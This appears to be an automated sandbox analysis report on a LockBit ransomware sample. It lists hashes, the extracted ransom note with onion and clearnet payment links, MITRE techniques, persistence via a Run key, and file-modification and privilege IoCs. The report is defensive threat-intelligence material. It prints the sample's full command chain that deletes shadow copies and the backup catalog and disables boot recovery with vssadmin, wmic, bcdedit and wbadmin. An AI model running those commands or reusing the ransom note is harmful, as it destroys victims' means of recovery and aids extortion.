lockbit | 97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605

General

Target

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
Size

152KB
MD5

d6404f089ef2bfb45a8a890fdb30b980
SHA1

e7a5369e72ecc7b013b124a8c2ada9918a3ef930
SHA256

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605
SHA512

36a3ef42420beaacac79d7d2863ec7f67f83be7ad8c9863fede4d84ad79d093a1d103ad8989bb60fb9f7db09a7558429d141768fcdca49b91789be43dcbe0426

Score

10^/10

lockbit evasion persistence ransomware

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\Restore-My-Files.txt

Family

lockbit

Ransom Note

All your important files are encrypted! Any attempts to restore your files with the thrid-party software will be fatal for your files! RESTORE YOU DATA POSIBLE ONLY BUYING private key from us. There is only one way to get your files back: 1) Through a standard browser(FireFox, Chrome, Edge, Opera) | 1. Open link http://lockbit-decryptor.top/?9B7FDA8D33FEC3F9CD9E338A11EDDD73 | 2. Follow the instructions on this page 2) Through a Tor Browser - recommended | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?9B7FDA8D33FEC3F9CD9E338A11EDDD73 This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about

URLs

http://lockbit-decryptor.top/?9B7FDA8D33FEC3F9CD9E338A11EDDD73

http://lockbitks2tvnmwk.onion/?9B7FDA8D33FEC3F9CD9E338A11EDDD73

Signatures

Lockbit
Ransomware family with multiple variants released since late 2019.
ransomware lockbit
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1952 bcdedit.exe
972 bcdedit.exe
Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exe

pid process

1504 wbadmin.exe

pid	process
1952	bcdedit.exe
972	bcdedit.exe

pid	process
1504	wbadmin.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe\""	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

pid	process
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

Drops file in Program Files directory 64 IoCs

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

description	ioc	process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_zh_4.4.0.v20140623020002.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02740G.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_ja.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\CG1606.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14997_.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21427_.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File created	C:\Program Files\Windows Defender\de-DE\Restore-My-Files.txt	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0160590.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR36F.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105412.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Fancy.dotx	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\SWBELL.NET.XML	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0313965.JPG	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BORDERS\MSART6.BDR	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\INVITE11.POC	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\DVD Maker\es-ES\DVDMaker.exe.mui	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bogota	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0185842.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR40F.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099168.JPG	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00223_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Lime\Restore-My-Files.txt	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\Restore-My-Files.txt	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\IN00343_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE03668_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107724.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\144DPI\(144DPI)redStateIcon.png	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02077_.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-background.png	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+12	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02291U.BMP	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21503_.GIF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_ja.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_zh_CN.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Kamchatka	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02092_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGACCBAR.DPV	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\license.html	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\ja-JP\js\localizedStrings.js	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00636_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Metro.xml	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Stationery\1033\JUDGESCH.HTM	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Sofia	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HTECH_01.MID	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0297749.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Country.css	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Microsoft.Office.BusinessApplications.RuntimeUi.xml	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\New_Salem	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\fr-FR\js\timeZones.js	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Equity.eftx	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.SF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\Restore-My-Files.txt	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME53.CSS	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01858_.WMF	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\CST6	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1476 vssadmin.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

pid process

1172 97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe

pid	process
1476	vssadmin.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exevssvc.exeWMIC.exewbengine.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
Token: SeDebugPrivilege	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
Token: SeBackupPrivilege	1132	vssvc.exe
Token: SeRestorePrivilege	1132	vssvc.exe
Token: SeAuditPrivilege	1132	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeSecurityPrivilege	1728	WMIC.exe
Token: SeTakeOwnershipPrivilege	1728	WMIC.exe
Token: SeLoadDriverPrivilege	1728	WMIC.exe
Token: SeSystemProfilePrivilege	1728	WMIC.exe
Token: SeSystemtimePrivilege	1728	WMIC.exe
Token: SeProfSingleProcessPrivilege	1728	WMIC.exe
Token: SeIncBasePriorityPrivilege	1728	WMIC.exe
Token: SeCreatePagefilePrivilege	1728	WMIC.exe
Token: SeBackupPrivilege	1728	WMIC.exe
Token: SeRestorePrivilege	1728	WMIC.exe
Token: SeShutdownPrivilege	1728	WMIC.exe
Token: SeDebugPrivilege	1728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1728	WMIC.exe
Token: SeRemoteShutdownPrivilege	1728	WMIC.exe
Token: SeUndockPrivilege	1728	WMIC.exe
Token: SeManageVolumePrivilege	1728	WMIC.exe
Token: 33	1728	WMIC.exe
Token: 34	1728	WMIC.exe
Token: 35	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeSecurityPrivilege	1728	WMIC.exe
Token: SeTakeOwnershipPrivilege	1728	WMIC.exe
Token: SeLoadDriverPrivilege	1728	WMIC.exe
Token: SeSystemProfilePrivilege	1728	WMIC.exe
Token: SeSystemtimePrivilege	1728	WMIC.exe
Token: SeProfSingleProcessPrivilege	1728	WMIC.exe
Token: SeIncBasePriorityPrivilege	1728	WMIC.exe
Token: SeCreatePagefilePrivilege	1728	WMIC.exe
Token: SeBackupPrivilege	1728	WMIC.exe
Token: SeRestorePrivilege	1728	WMIC.exe
Token: SeShutdownPrivilege	1728	WMIC.exe
Token: SeDebugPrivilege	1728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1728	WMIC.exe
Token: SeRemoteShutdownPrivilege	1728	WMIC.exe
Token: SeUndockPrivilege	1728	WMIC.exe
Token: SeManageVolumePrivilege	1728	WMIC.exe
Token: 33	1728	WMIC.exe
Token: 34	1728	WMIC.exe
Token: 35	1728	WMIC.exe
Token: SeBackupPrivilege	604	wbengine.exe
Token: SeRestorePrivilege	604	wbengine.exe
Token: SeSecurityPrivilege	604	wbengine.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.execmd.exe

description	pid	process	target process
PID 1172 wrote to memory of 1744	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe	cmd.exe
PID 1172 wrote to memory of 1744	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe	cmd.exe
PID 1172 wrote to memory of 1744	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe	cmd.exe
PID 1172 wrote to memory of 1744	1172	97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe	cmd.exe
PID 1744 wrote to memory of 1476	1744	cmd.exe	vssadmin.exe
PID 1744 wrote to memory of 1476	1744	cmd.exe	vssadmin.exe
PID 1744 wrote to memory of 1476	1744	cmd.exe	vssadmin.exe
PID 1744 wrote to memory of 1728	1744	cmd.exe	WMIC.exe
PID 1744 wrote to memory of 1728	1744	cmd.exe	WMIC.exe
PID 1744 wrote to memory of 1728	1744	cmd.exe	WMIC.exe
PID 1744 wrote to memory of 1952	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 1952	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 1952	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 972	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 972	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 972	1744	cmd.exe	bcdedit.exe
PID 1744 wrote to memory of 1504	1744	cmd.exe	wbadmin.exe
PID 1744 wrote to memory of 1504	1744	cmd.exe	wbadmin.exe
PID 1744 wrote to memory of 1504	1744	cmd.exe	wbadmin.exe

C:\Users\Admin\AppData\Local\Temp\97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe
"C:\Users\Admin\AppData\Local\Temp\97dc0777cadf1db157c5bb345a82a0757da92eb21d6a7402e11ea3e2d6209605.exe"
1⤵
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1172

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
2⤵
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:1476

C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1728

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
3⤵
- Modifies boot configuration data using bcdedit
PID:1952

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled no
3⤵
- Modifies boot configuration data using bcdedit
PID:972

C:\Windows\system32\wbadmin.exe
wbadmin delete catalog -quiet
3⤵
- Deletes backup catalog
PID:1504

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
